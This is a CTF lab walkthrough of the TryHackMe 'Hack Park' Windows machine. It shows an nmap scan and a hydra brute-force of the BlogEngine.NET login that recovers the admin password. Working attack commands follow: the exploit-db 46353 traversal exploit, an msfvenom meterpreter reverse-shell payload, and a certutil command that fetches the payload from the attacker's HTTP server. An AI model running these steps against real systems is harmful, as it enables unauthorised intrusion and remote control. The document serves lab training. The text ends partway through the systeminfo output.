# TryHackMe-Hack Park >Abdullah Rizwan | 09 : 45 PM | 30th October 2020 ## NMAP This is a windows machine so it might not respond to ping so in this we are going to use `-Pn` to ingore ping the box ``` nmap -Pn -sC -sV 10.10.34.2 Host is up (0.17s latency).

Doing this will give you wrong results `hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:UserName=^USER^ & Password=^PASS^&Login:Login failed"` Now we launch `burpsuite` intercept the login page with the credentials and we will get this request ``` __VIEWSTATE=rKI96%2BsCmsHE%2BBnXdIfX2SDkfH9eXlljTdGkdGcVZvZs4wFTrEcHN8RzIiJUP3%2BmIotfzJsQcEGZkMsFWgCKCcodwrJ0SgoYW6AHLLU3Lf9eI4t0abp6pf2yQ6TIJhJb8D143UhfjmN83j2hEeECKoz5FknRAYWStUq%2FPQA%2FIuHRtaES66kLKksczFvJuU%2B5g5E0lZFLWKoiBU8kIHH%2FBJcfOZrMU4UiWe9lOS2zOwtICdeoD3%2FmgBKIVbefaQDASAS%2BEyufY0WmK%2FGQlKkKrKgw7aY5yjnjHK0qlnhWSlYirlOzmQG1OM%2BgjNLe9lh%2B0FnTKo%2B8l2yrE%2FOtmjfzo7GUHHDyy2kG3Jzb%2Fnc63sYdmpE3&__EVENTVALIDATION=TuS%2F6KtXDbAW7T9F99qLDc%2Bdn5DVR%2FFt6iHlpBIA70gHcfSj6gOvo%2BedBax4e%2Bg9AHpwy0wZr9UAz18%2FzK7qGWGOt3Qa3y0kYnv7So%2BCr7Dx%2F2hgHXmU8QEl1nZbLT%2B9X%2FYLOQfNLu6V2SMGWewSmvdqTs%2FIbIHGLoXPTljXEiu4yPSy&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in ``` Modify the command by replacing `%21admin:` with `/admin:` and Username=admin with `^USER^` , Password=`^PASS^` ``` hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=rKI96%2BsCmsHE%2BBnXdIfX2SDkfH9eXlljTdGkdGcVZvZs4wFTrEcHN8RzIiJUP3%2BmIotfzJsQcEGZkMsFWgCKCcodwrJ0SgoYW6AHLLU3Lf9eI4t0abp6pf2yQ6TIJhJb8D143UhfjmN83j2hEeECKoz5FknRAYWStUq%2FPQA%2FIuHRtaES66kLKksczFvJuU%2B5g5E0lZFLWKoiBU8kIHH%2FBJcfOZrMU4UiWe9lOS2zOwtICdeoD3%2FmgBKIVbefaQDASAS%2BEyufY0WmK%2FGQlKkKrKgw7aY5yjnjHK0qlnhWSlYirlOzmQG1OM%2BgjNLe9lh%2B0FnTKo%2B8l2yrE%2FOtmjfzo7GUHHDyy2kG3Jzb%2Fnc63sYdmpE3&__EVENTVALIDATION=TuS%2F6KtXDbAW7T9F99qLDc%2Bdn5DVR%2FFt6iHlpBIA70gHcfSj6gOvo%2BedBax4e%2Bg9AHpwy0wZr9UAz18%2FzK7qGWGOt3Qa3y0kYnv7So%2BCr7Dx%2F2hgHXmU8QEl1nZbLT%2B9X%2FYLOQfNLu6V2SMGWewSmvdqTs%2FIbIHGLoXPTljXEiu4yPSy&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -V ``` Now give it some time while it's ruuning And you will have your username : `admin` and password : `1qaz2wsx` You can see here that it is using `blogengine.net` and it's version is `3.3.6`. So first thing that I'am going to do is search for this on `exploit-db` https://www.exploit-db.com/exploits/46353 Now edit your IP and port in this code Save it as `PostView.ascx` Go to `Posts` on the blogenginge Set up your `netcat` listener Navigate to `http://10.10.34.2/?theme=../../App_Data/files` Now this shell is unstable so we are going to upload a payload and capture it using `metasploit` ## Msfvenom ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.3.143 LPORT=5555 -f exe > shell.exe ``` ## Metasploit Launch metasploit through `msfconsole -q` `use exploit/multi/handler ` for listener Set the options as same as on the payload Now upload it to the reverse shell `python3 -m http.server 80` For uploading `certutil.exe -urlcache -f http://10.14.3.143:80/shell.exe shell.exe` For donwloading through reverse shell And looks we have it on the windows box And just like that we have a stabilized reverse shell through metasploit ,awesome ! You can run `systeminfo` on cmd ``` systeminfo Host Name: HACKPARK OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: 6.3.9600 N/A Build 9600 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00252-70000-00000-AA886 Original Install Date: 8/3/2019, 10:43:23 AM System Boot Time: 10/30/2020, 9:44:53 AM System Manufacturer: Xen System Model: HVM domU System Type: x64-based PC Processor(s): 1 Processor(s) Installed.
